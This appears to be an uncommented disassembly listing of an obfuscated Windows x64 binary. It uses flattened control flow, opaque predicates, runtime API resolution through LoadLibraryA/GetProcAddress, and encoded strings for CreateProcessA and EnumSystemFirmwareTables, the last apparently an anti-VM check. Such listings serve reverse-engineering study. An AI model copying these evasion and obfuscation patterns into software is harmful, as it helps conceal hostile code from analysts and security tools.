mov ecx, 0x376ba8c4
jmp 0x1400247c0
cmp eax, 0xb13f13c4
jg 0x1400249a0
cmp eax, 0x871df077
jg 0x140024a83
cmp eax, 0x8041f128
je 0x140024c19
cmp eax, 0x83d249d5
jne 0x1400247cd
mov al, byte [rbp + 0x77]
mov rcx, qword [rbp + 0x38]
mov byte [rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7541f68e
mov ecx, 0xbc640897
jmp 0x1400247c0
cmp eax, 0x5d53e003
jg 0x1400249cf
cmp eax, 0x55bbb677
jg 0x140024ad0
cmp eax, 0x491b712b
je 0x1400247a3
cmp eax, 0x519721bd
jne 0x1400247cd
mov eax, 0x871df078
jmp 0x1400247cd
cmp eax, 0xcc8dc338
jg 0x140024afb
cmp eax, 0xc68b538c
je 0x140024c23
cmp eax, 0xc9d97164
jne 0x1400247cd
mov eax, 0xeba3db6f
jmp 0x1400247cd
cmp eax, 0x448da135
jg 0x140024b2f
cmp eax, 0x2a2c9fe0
je 0x140024c41
cmp eax, 0x376ba8c4
jne 0x1400247cd
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x28dc1747
mov ecx, 0xc9d97164
jmp 0x1400247c0
cmp eax, 0xbc640896
jg 0x140024b5e
cmp eax, 0xb13f13c5
je 0x140024c4b
cmp eax, 0xb2e62b71
jne 0x1400247cd
mov rax, qword [rbp + 0x48]
mov eax, 0xb13f13c5
jmp 0x1400247cd
cmp eax, 0x7541f68d
jg 0x140024b7e
cmp eax, 0x5d53e004
je 0x140024c69
cmp eax, 0x6d917c6a
jne 0x1400247cd
mov eax, dword [0x140061100]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete dl
mov eax, 0xc068a792
mov esi, 0xc68b538c
cmove eax, esi
cmp dword [0x140061104], 0xa
mov ecx, 0xc068a792
cmovge eax, ecx
setge cl
xor cl, dl
cmove eax, esi
jmp 0x1400247cd
cmp eax, 0xde6c1bf2
je 0x140024c73
cmp eax, 0xeba3db6f
jne 0x1400247cd
mov qword [rbp + 0x40], rdi
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x16d0b77a
mov ecx, 0x8041f128
jmp 0x1400247c0
cmp eax, 0x24020c90
je 0x140024c89
cmp eax, 0x28dc1747
jne 0x1400247cd
mov eax, 0x376ba8c4
jmp 0x1400247cd
cmp eax, 0x871df078
je 0x140024c9e
cmp eax, 0x98dcca1e
jne 0x1400247cd
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140061104], 0xa
setl cl
setge dl
xor dl, al
and cl, al
xor cl, dl
mov eax, 0xeba3db6f
mov ecx, 0x16d0b77a
cmovne eax, ecx
jmp 0x1400247cd
cmp eax, 0x55bbb678
je 0x140024cd8
cmp eax, 0x5ab3aa55
jne 0x1400247cd
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x28], rax
mov eax, 0x7a0b47cc
jmp 0x1400247cd
cmp eax, 0xcc8dc339
je 0x140024cf6
cmp eax, 0xd356e003
jne 0x1400247cd
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7541f68e
mov ecx, 0x83d249d5
jmp 0x1400247c0
cmp eax, 0x448da136
je 0x140024d0c
cmp eax, 0x47106827
jne 0x1400247cd
mov rax, qword [rbp + 0x48]
mov rax, qword [rbp + 0x58]
mov qword [rax], 0
mov eax, 0x9561ed4
jmp 0x1400247cd
cmp eax, 0xbc640897
je 0x140024d16
cmp eax, 0xc068a792
jne 0x1400247cd
mov eax, 0xc68b538c
jmp 0x1400247cd
cmp eax, 0x7541f68e
je 0x140024d20
cmp eax, 0x7a0b47cc
jne 0x1400247cd
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
movzx eax, byte [rdi + rax]
mov rcx, qword [rbp + 0x28]
movabs rdx, 0x236591618ad5eb84
add rcx, rdx
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x78], rcx
mov esi, 0x987d32d3
nop dword [rax]
cmp esi, 0x23820d03
je 0x140024d45
cmp esi, 0x987d32d3
jne 0x140024bc0
mov rax, qword [rbp + 0x50]
add rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x50]
and rcx, qword [rbp + 0x78]
add rcx, rcx
sub rax, rcx
mov esi, 0x23820d03
jmp 0x140024bc0
mov eax, 0x24020c90
jmp 0x1400247cd
mov dl, byte [rbp + 0x37]
cmp byte [rbp + 0x67], 0
mov eax, 0x519721bd
mov ecx, 0x871df078
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x1400247cd
mov eax, 0x4bead80
jmp 0x1400247cd
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc068a792
mov ecx, 0xcc8dc339
jmp 0x1400247c0
mov eax, 0x47106827
jmp 0x1400247cd
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x448da136
mov ecx, 0xca98735
jmp 0x1400247c0
mov eax, 0x55bbb678
jmp 0x1400247cd
mov rax, qword [rbp + 0x68]
cmp rax, 0x1b
setb byte [rbp + 0x76]
mov eax, 0x491b712b
jmp 0x1400247cd
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x68], rax
mov eax, 0xde6c1bf2
jmp 0x1400247cd
mov eax, 0x10
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x48], rax
mov eax, dword [0x140061100]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov eax, 0x519721bd
mov ecx, 0x2a2c9fe0
jmp 0x1400247c0
mov eax, dword [0x140061100]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov eax, 0x5d53e004
mov ecx, 0x6d917c6a
jmp 0x1400247c0
cmp byte [rbp + 0x76], 0
mov eax, 0xb2e62b71
mov ecx, 0x5ab3aa55
cmovne eax, ecx
jmp 0x1400247cd
mov eax, 0xca98735
jmp 0x1400247cd
mov eax, 0x24020c90
jmp 0x1400247cd
mov al, byte [rbp + 0x77]
mov rcx, qword [rbp + 0x38]
mov byte [rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, 0x83d249d5
jmp 0x1400247cd
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
add al, 0x64
mov byte [rbp + 0x77], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
add rax, rdi
mov qword [rbp + 0x38], rax
mov eax, 0xd356e003
jmp 0x1400247cd
cmp eax, 0x4bead80
jne 0x1400247cd
mov rax, qword [rbp + 0x40]
mov rsp, rbx
mov qword [rbp + 0x20], rax
mov eax, 0xe5bf81cd
jmp 0x14002465d
mov qword [rbp + 0x10], r9
mov eax, dword [0x1400610f8]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov eax, 0xaf5188ae
mov ecx, 0x97341992
jmp 0x140024650
mov eax, 0x7179e4c3
jmp 0x14002465d
cmp eax, 0xb97ba532
jne 0x14002465d
mov rcx, qword [rbp + 0x20]
mov rsp, r8
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
add rsp, 0x20
mov rdx, qword [rbp - 0x80]
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov qword [0x140061050], rax
mov rax, qword [rbp - 0x78]
mov rax, qword [rbp - 0x70]
mov eax, 0x1f434b61
jmp 0x140021078
mov r8, rsp
mov r9, qword [rbp - 0x60]
mov eax, dword [0x1400610f8]
mov ebx, dword [0x1400610fc]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete byte [rbp + 0x1f]
cmp ebx, 0xa
setl byte [rbp + 0x1e]
mov eax, 0x402deea
jmp 0x140024e6d
mov eax, dword [0x1400610f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x71ab2e89
mov ecx, 0x91405216
nop word cs:[rax + rax]
nop dword [rax]
cmove eax, ecx
cmp dword [0x1400610fc], 0xa
cmovl eax, ecx
cmp eax, 0xe5bf81cc
jle 0x140024ea0
cmp eax, 0x640dde72
jg 0x140024ee0
cmp eax, 0xe5bf81cd
je 0x140024e39
cmp eax, 0x402deea
je 0x140024f3f
cmp eax, 0x46aed536
jne 0x140024e6d
mov eax, 0xa6e57451
jmp 0x140024e6d
cmp eax, 0xaf5188ad
jg 0x140024f0b
cmp eax, 0x91405216
je 0x140024f5d
cmp eax, 0x97341992
je 0x140024f7b
cmp eax, 0xa6e57451
jne 0x140024e6d
mov eax, dword [0x1400610f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x46aed536
mov ecx, 0xb97ba532
jmp 0x140024e60
cmp eax, 0x640dde73
je 0x140024f85
cmp eax, 0x7179e4c3
je 0x1400255a0
cmp eax, 0x71ab2e89
jne 0x140024e6d
mov eax, 0x91405216
jmp 0x140024e6d
cmp eax, 0xaf5188ae
je 0x1400255c2
cmp eax, 0xdbb911a9
jne 0x1400255cc
mov eax, dword [0x1400610f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x46aed536
mov ecx, 0xa6e57451
jmp 0x140024e60
mov bl, byte [rbp + 0x1f]
cmp byte [rbp + 0x1e], 0
mov eax, 0xaf5188ae
mov ecx, 0x7179e4c3
cmovne eax, ecx
test bl, bl
cmovne eax, ecx
jmp 0x140024e6d
mov eax, dword [0x1400610f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x71ab2e89
mov ecx, 0xdbb911a9
jmp 0x140024e60
mov eax, 0x640dde73
jmp 0x140024e6d
mov rbx, rsp
mov rdi, qword [rbp + 0x10]
mov eax, dword [0x140061100]
mov esi, dword [0x140061104]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x37]
cmp esi, 0xa
setl byte [rbp + 0x67]
mov eax, 0x135d4390
jmp 0x140024fdd
mov eax, dword [0x140061100]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov eax, 0x5d53e004
mov ecx, 0x55bbb678
nop dword [rax]
cmove eax, ecx
cmp dword [0x140061104], 0xa
cmovl eax, ecx
cmp eax, 0x135d438f
jg 0x140025040
cmp eax, 0xc68b538b
jle 0x1400250a0
cmp eax, 0xde6c1bf1
jle 0x140025146
cmp eax, 0x4bead7f
jle 0x14002523b
cmp eax, 0x9561ed4
je 0x140025401
cmp eax, 0xca98735
jne 0x140025580
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x448da136
mov ecx, 0x98dcca1e
jmp 0x140024fd0
cmp eax, 0x491b712a
jg 0x140025110
cmp eax, 0x2a2c9fdf
jg 0x140025171
cmp eax, 0x24020c8f
jg 0x140025273
cmp eax, 0x135d4390
je 0x14002540b
cmp eax, 0x16d0b77a
jne 0x140024fdd
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x28dc1747
mov ecx, 0x376ba8c4
jmp 0x140024fd0
cmp eax, 0xb13f13c4
jg 0x1400251b0
cmp eax, 0x871df077
jg 0x140025293
cmp eax, 0x8041f128
je 0x140025429
cmp eax, 0x83d249d5
jne 0x140024fdd
mov al, byte [rbp + 0x77]
mov rcx, qword [rbp + 0x38]
mov byte [rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7541f68e
mov ecx, 0xbc640897
jmp 0x140024fd0
cmp eax, 0x5d53e003
jg 0x1400251df
cmp eax, 0x55bbb677
jg 0x1400252e0
cmp eax, 0x491b712b
je 0x140024fb3
cmp eax, 0x519721bd
jne 0x140024fdd
mov eax, 0x871df078
jmp 0x140024fdd
cmp eax, 0xcc8dc338
jg 0x14002530b
cmp eax, 0xc68b538c
je 0x140025433
cmp eax, 0xc9d97164
jne 0x140024fdd
mov eax, 0xeba3db6f
jmp 0x140024fdd
cmp eax, 0x448da135
jg 0x14002533f
cmp eax, 0x2a2c9fe0
je 0x140025451
cmp eax, 0x376ba8c4
jne 0x140024fdd
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x28dc1747
mov ecx, 0xc9d97164
jmp 0x140024fd0
cmp eax, 0xbc640896
jg 0x14002536e
cmp eax, 0xb13f13c5
je 0x14002545b
cmp eax, 0xb2e62b71
jne 0x140024fdd
mov rax, qword [rbp + 0x48]
mov eax, 0xb13f13c5
jmp 0x140024fdd
cmp eax, 0x7541f68d
jg 0x14002538e
cmp eax, 0x5d53e004
je 0x140025479
cmp eax, 0x6d917c6a
jne 0x140024fdd
mov eax, dword [0x140061100]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete dl
mov eax, 0xc068a792
mov esi, 0xc68b538c
cmove eax, esi
cmp dword [0x140061104], 0xa
mov ecx, 0xc068a792
cmovge eax, ecx
setge cl
xor cl, dl
cmove eax, esi
jmp 0x140024fdd
cmp eax, 0xde6c1bf2
je 0x140025483
cmp eax, 0xeba3db6f
jne 0x140024fdd
mov qword [rbp + 0x40], rdi
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x16d0b77a
mov ecx, 0x8041f128
jmp 0x140024fd0
cmp eax, 0x24020c90
je 0x140025499
cmp eax, 0x28dc1747
jne 0x140024fdd
mov eax, 0x376ba8c4
jmp 0x140024fdd
cmp eax, 0x871df078
je 0x1400254ae
cmp eax, 0x98dcca1e
jne 0x140024fdd
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140061104], 0xa
setl cl
setge dl
xor dl, al
and cl, al
xor cl, dl
mov eax, 0xeba3db6f
mov ecx, 0x16d0b77a
cmovne eax, ecx
jmp 0x140024fdd
cmp eax, 0x55bbb678
je 0x1400254e8
cmp eax, 0x5ab3aa55
jne 0x140024fdd
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x28], rax
mov eax, 0x7a0b47cc
jmp 0x140024fdd
cmp eax, 0xcc8dc339
je 0x140025506
cmp eax, 0xd356e003
jne 0x140024fdd
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7541f68e
mov ecx, 0x83d249d5
jmp 0x140024fd0
cmp eax, 0x448da136
je 0x14002551c
cmp eax, 0x47106827
jne 0x140024fdd
mov rax, qword [rbp + 0x48]
mov rax, qword [rbp + 0x58]
mov qword [rax], 0
mov eax, 0x9561ed4
jmp 0x140024fdd
cmp eax, 0xbc640897
je 0x140025526
cmp eax, 0xc068a792
jne 0x140024fdd
mov eax, 0xc68b538c
jmp 0x140024fdd
cmp eax, 0x7541f68e
je 0x140025530
cmp eax, 0x7a0b47cc
jne 0x140024fdd
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
movzx eax, byte [rdi + rax]
mov rcx, qword [rbp + 0x28]
movabs rdx, 0x236591618ad5eb84
add rcx, rdx
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x78], rcx
mov esi, 0x987d32d3
nop dword [rax]
cmp esi, 0x23820d03
je 0x140025555
cmp esi, 0x987d32d3
jne 0x1400253d0
mov rax, qword [rbp + 0x50]
add rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x50]
and rcx, qword [rbp + 0x78]
add rcx, rcx
sub rax, rcx
mov esi, 0x23820d03
jmp 0x1400253d0
mov eax, 0x24020c90
jmp 0x140024fdd
mov dl, byte [rbp + 0x37]
cmp byte [rbp + 0x67], 0
mov eax, 0x519721bd
mov ecx, 0x871df078
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140024fdd
mov eax, 0x4bead80
jmp 0x140024fdd
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc068a792
mov ecx, 0xcc8dc339
jmp 0x140024fd0
mov eax, 0x47106827
jmp 0x140024fdd
mov eax, dword [0x140061100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x448da136
mov ecx, 0xca98735
jmp 0x140024fd0
mov eax, 0x55bbb678
jmp 0x140024fdd
mov rax, qword [rbp + 0x68]
cmp rax, 0x1b
setb byte [rbp + 0x76]
mov eax, 0x491b712b
jmp 0x140024fdd
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x68], rax
mov eax, 0xde6c1bf2
jmp 0x140024fdd
mov eax, 0x10
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x48], rax
mov eax, dword [0x140061100]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov eax, 0x519721bd
mov ecx, 0x2a2c9fe0
jmp 0x140024fd0
mov eax, dword [0x140061100]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov eax, 0x5d53e004
mov ecx, 0x6d917c6a
jmp 0x140024fd0
cmp byte [rbp + 0x76], 0
mov eax, 0xb2e62b71
mov ecx, 0x5ab3aa55
cmovne eax, ecx
jmp 0x140024fdd
mov eax, 0xca98735
jmp 0x140024fdd
mov eax, 0x24020c90
jmp 0x140024fdd
mov al, byte [rbp + 0x77]
mov rcx, qword [rbp + 0x38]
mov byte [rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, 0x83d249d5
jmp 0x140024fdd
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
add al, 0x64
mov byte [rbp + 0x77], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
add rax, rdi
mov qword [rbp + 0x38], rax
mov eax, 0xd356e003
jmp 0x140024fdd
cmp eax, 0x4bead80
jne 0x140024fdd
mov rax, qword [rbp + 0x40]
mov rsp, rbx
mov qword [rbp + 0x20], rax
mov eax, 0xe5bf81cd
jmp 0x140024e6d
mov qword [rbp + 0x10], r9
mov eax, dword [0x1400610f8]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov eax, 0xaf5188ae
mov ecx, 0x97341992
jmp 0x140024e60
mov eax, 0x7179e4c3
jmp 0x140024e6d
cmp eax, 0xb97ba532
jne 0x140024e6d
mov rcx, qword [rbp + 0x20]
mov rsp, r8
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
add rsp, 0x20
mov rdx, qword [rbp - 0x80]
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov qword [0x140061050], rax
mov rax, qword [rbp - 0x78]
mov rax, qword [rbp - 0x70]
mov eax, dword [0x1400610d0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x938de8b8
mov ecx, 0x10ba1ffa
jmp 0x14002106b
mov eax, 0x20
call fcn.14005ed70
sub rsp, rax
mov r8, rsp
mov eax, 0x20
call fcn.14005ed70
sub rsp, rax
mov r9, rsp
mov eax, 0x30
call fcn.14005ed70
sub rsp, rax
mov qword [rbp + 8], rsp
mov eax, 0x20
call fcn.14005ed70
sub rsp, rax
mov qword [rbp], rsp
mov qword [rbp + 0x20], r8
lea rax, str.CreateProcessA
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
mov edi, 0x6e3793ad
mov edx, 0xf46c509b
cmove edi, edx
cmp dword [0x1400610dc], 0xa
cmovl edi, edx
setge bl
xor al, bl
mov edx, eax
xor dl, 1
and cl, bl
or cl, dl
xor cl, al
mov r11d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r11d, eax
mov edx, 0x88a95f0c
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xd7ca0e98
jle 0x140025740
cmp edx, 0xd7ca0e99
je 0x14002575b
cmp edx, 0xf46c509b
je 0x14002931c
cmp edx, 0x6e3793ad
jne 0x140025700
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x140025700
cmp edx, 0x88a95f0c
je 0x140025760
cmp edx, 0x98f8596f
jne 0x140025700
mov r10, qword [rbp + 0x80]
mov edx, edi
jmp 0x140025700
mov edx, r11d
jmp 0x140025700
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rsi, rax
movabs rcx, 0x8e18b4232d0bcb7b
xor rsi, rcx
mov rbx, rdx
and rbx, rcx
movabs rcx, 0x4142489c00900084
or rbx, rcx
movabs r14, 0x71e74bdcd2f43484
and rdx, r14
xor rdx, rbx
mov rbx, rdx
movabs rcx, 0xcf5afcbf2d9bcbff
xor rbx, rcx
xor rax, r14
and rax, rbx
movabs rcx, 0x30a50340d2643400
xor rdx, rcx
and rdx, rsi
or rdx, rax
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x140025700
mov byte [rbp + 0x38], r10b
mov al, byte [rbp + 0x38]
mov rcx, qword [rbp + 0x20]
mov byte [rcx], al
mov rax, qword [rbp + 0x20]
add rax, 1
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 1]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 1
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
mov edi, 0x6e3793ad
mov edx, 0xf46c509b
cmove edi, edx
cmp dword [0x1400610dc], 0xa
cmovl edi, edx
setge bl
xor al, bl
mov edx, eax
xor dl, 1
and cl, bl
or cl, dl
xor cl, al
mov r11d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r11d, eax
mov edx, 0x88a95f0c
nop word cs:[rax + rax]
cmp edx, 0xd7ca0e98
jle 0x1400258b0
cmp edx, 0xd7ca0e99
je 0x1400258cb
cmp edx, 0xf46c509b
je 0x140029485
cmp edx, 0x6e3793ad
jne 0x140025870
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x140025870
cmp edx, 0x88a95f0c
je 0x1400258d0
cmp edx, 0x98f8596f
jne 0x140025870
mov r10, qword [rbp + 0x80]
mov edx, edi
jmp 0x140025870
mov edx, r11d
jmp 0x140025870
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rsi, rax
movabs rcx, 0x8e18b4232d0bcb7b
xor rsi, rcx
mov rbx, rdx
and rbx, rcx
movabs rcx, 0x4142489c00900084
or rbx, rcx
movabs r14, 0x71e74bdcd2f43484
and rdx, r14
xor rdx, rbx
mov rbx, rdx
movabs rcx, 0xcf5afcbf2d9bcbff
xor rbx, rcx
xor rax, r14
and rax, rbx
movabs rcx, 0x30a50340d2643400
xor rdx, rcx
and rdx, rsi
or rdx, rax
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x140025870
mov rax, qword [rbp - 0x30]
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x68], rax
lea rax, str.EnumSystemFirmwareTables
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
movzx r8d, byte [rax]
mov eax, dword [0x1400610e0]
mov edx, dword [0x1400610e4]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
cmp edx, 0xa
setl al
mov ecx, ebx
xor cl, al
mov ecx, 0x3f51b719
mov edi, 0xb15e3b3
cmovne ecx, edi
test ebx, ebx
sete byte [rbp + 0x28]
sete bl
mov edi, 0x3f51b719
cmove ecx, edi
cmp edx, 0xa
setl byte [rbp + 0x38]
cmovl ecx, edi
or bl, al
mov r9d, 0x980db29e
mov eax, 0x41f4c7ad
cmovne r9d, eax
mov ebx, 0x980db29e
mov eax, 0xd84b80b0
cmovne ebx, eax
movabs rax, 0x96c93431608e4db
add r8, rax
mov edx, 0x67de0e00
jmp 0x1400259f0
mov edx, 0x41be4095
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x3f51b718
jg 0x140025a30
cmp edx, 0xb15e3b2
jg 0x140025a70
cmp edx, 0x980db29e
je 0x140025acb
cmp edx, 0xd84b80b0
jne 0x140025b4f
mov rax, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, eax
mov edx, r9d
jmp 0x1400259f0
cmp edx, 0x41f4c7ac
jg 0x140025a90
cmp edx, 0x3f51b719
je 0x140025b3b
cmp edx, 0x41be4095
jne 0x1400259f0
mov qword [rbp + 0x78], r8
movabs rax, 0x93a1cbe50325d78d
mov qword [rbp + 0x80], rax
mov edx, ecx
jmp 0x1400259f0
cmp edx, 0xb15e3b3
je 0x1400259dd
cmp edx, 0x2412b668
jne 0x1400259f0
mov edx, ebx
jmp 0x1400259f0
cmp edx, 0x41f4c7ad
je 0x140025b45
cmp edx, 0x67de0e00
jne 0x1400259f0
movzx eax, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140025ac1
mov edx, 0xb15e3b3
test al, al
cmovne edx, esi
jmp 0x1400259f0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x1400259f0
mov edx, 0x2412b668
jmp 0x1400259f0
mov edx, 0xa8389bf0
jmp 0x1400259f0
cmp edx, 0xa8389bf0
jne 0x1400259f0
mov byte [rbp + 0x50], dil
mov al, byte [rbp + 0x50]
mov rcx, qword [rbp + 0x68]
mov byte [rcx], al
mov r8, qword [rbp + 0x68]
mov rax, qword [rbp + 0x40]
movzx r9d, byte [rax + 1]
mov eax, dword [0x1400610e0]
mov edx, dword [0x1400610e4]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
cmp edx, 0xa
setl al
mov ecx, ebx
xor cl, al
mov ecx, 0x3f51b719
mov edi, 0xb15e3b3
cmovne ecx, edi
test ebx, ebx
sete byte [rbp + 0x28]
sete bl
mov edi, 0x3f51b719
cmove ecx, edi
cmp edx, 0xa
setl byte [rbp + 0x38]
cmovl ecx, edi
or bl, al
mov r10d, 0x980db29e
mov eax, 0x41f4c7ad
cmovne r10d, eax
mov ebx, 0x980db29e
mov eax, 0xd84b80b0
cmovne ebx, eax
movabs rax, 0x96c93431608e4db
add r9, rax
mov edx, 0x67de0e00
jmp 0x140025c00
mov edx, 0x41be4095
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x3f51b718
jg 0x140025c40
cmp edx, 0xb15e3b2
jg 0x140025c80
cmp edx, 0x980db29e
je 0x140025cdb
cmp edx, 0xd84b80b0
jne 0x140025d5f
mov rax, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x80]
xor edi, eax
mov edx, r10d
jmp 0x140025c00
cmp edx, 0x41f4c7ac
jg 0x140025ca0
cmp edx, 0x3f51b719
je 0x140025d4b
cmp edx, 0x41be4095
jne 0x140025c00
mov qword [rbp + 0x78], r9
movabs rax, 0x93a1cbe50325d78d
add rax, 1
mov qword [rbp + 0x80], rax
mov edx, ecx
jmp 0x140025c00
cmp edx, 0xb15e3b3
je 0x140025bee
cmp edx, 0x2412b668
jne 0x140025c00
mov edx, ebx
jmp 0x140025c00
cmp edx, 0x41f4c7ad
je 0x140025d55
cmp edx, 0x67de0e00
jne 0x140025c00
movzx eax, byte [rbp + 0x28]
cmp byte [rbp + 0x38], 0
mov esi, 0x41be4095
mov edx, 0x41be4095
jne 0x140025cd1
mov edx, 0xb15e3b3
test al, al
cmovne edx, esi
jmp 0x140025c00
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0xd84b80b0
jmp 0x140025c00
mov edx, 0x2412b668
jmp 0x140025c00
